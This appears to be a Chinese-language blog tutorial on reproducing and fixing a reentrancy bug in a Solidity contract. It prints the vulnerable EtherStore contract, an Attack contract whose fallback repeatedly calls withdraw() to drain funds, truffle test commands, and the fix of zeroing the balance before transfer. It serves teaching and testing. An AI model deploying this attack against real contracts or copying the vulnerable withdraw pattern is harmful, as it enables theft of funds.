当前位置: 首页 > news >正文

【区块链】智能合约漏洞测试

打开Ganache

vscode打开智能合约漏洞工程 

合约内容

pragma solidity >=0.8.3;contract EtherStore {mapping(address => uint) public balances;function deposit() public payable {balances[msg.sender] += msg.value;emit Balance(balances[msg.sender]);}function withdraw() public {uint bal = balances[msg.sender];require(bal > 0);(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");balances[msg.sender] = 0;}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) {etherStore = EtherStore(_etherStoreAddress);}// Fallback is called when EtherStore sends Ether to this contract.fallback() external payable {if (address(etherStore).balance >= 1) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1);etherStore.deposit{value: 1}();etherStore.withdraw();}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}

此智能合约存在“重入"即“Re-Entrance"问题,由于调用智能合约的转账操作需要通过打包后才会生效,可能出现重复提现从而使得其他合约账户被盗的问题

根据truffle工具中的代码文件,编写测试用例,复现智能合约中存在的漏洞

测试用例

truffle test test/ReEntrancy.js

执行命令复现智能合约漏洞

创建新的智能合约,修复其中问题,说明修复内容并测试。

主要修复点为withdraw()的体现方法,具体操作为先将账户清零,再转账

使用同样的测试用例进行操作

truffle test test/ReEntrancyRepair.js

http://www.lryc.cn/news/356228.html

相关文章:

  • 大模型主流 RAG 框架TOP10
  • 第八次javaweb作业
  • js积累四 (读json文件)
  • 关于我转生从零开始学C++这件事:升级Lv.25
  • mysql中text,longtext,mediumtext区别
  • IP协议说明
  • 第13章 层次式架构设计理论与实践
  • FreeRtos进阶——消息队列的操作逻辑
  • WordPress搭建流程
  • 数据集004:跌倒检测数据集 (含数据集下载链接)
  • 苹果与OpenAI合作在即:iOS 18中的ChatGPT引发期待与担忧
  • Android 逆向学习【2】——APK基本结构
  • 你对仲裁裁决不服怎么办?我教你四个狠招!
  • 绿色智能:低代码开发在AI机器学习中的深度应用与实践案例
  • 《NoSQL数据库技术与应用》 文档存储数据库MongoDB
  • 设置AXI主寄存器切片和AXI数据FIFO
  • Golang协程和通道
  • Enable Full Line suggestions 启用全行建议
  • Java 文件操作和输入输出流
  • MyBatis中的Where标签:提升你的SQL查询效率
  • Docker(三) 容器管理
  • 自己动手写docker——Namespace
  • 【前端学习笔记】HTML基础
  • JS Lab
  • Vue:快速上手
  • HTML并集,交集,子代,后代选择器
  • 关于pdfbox读取pdf
  • 汽车电子零部件(14):TMS热管理系统
  • 代码模板,Cookie和Session
  • Nginx配置及优化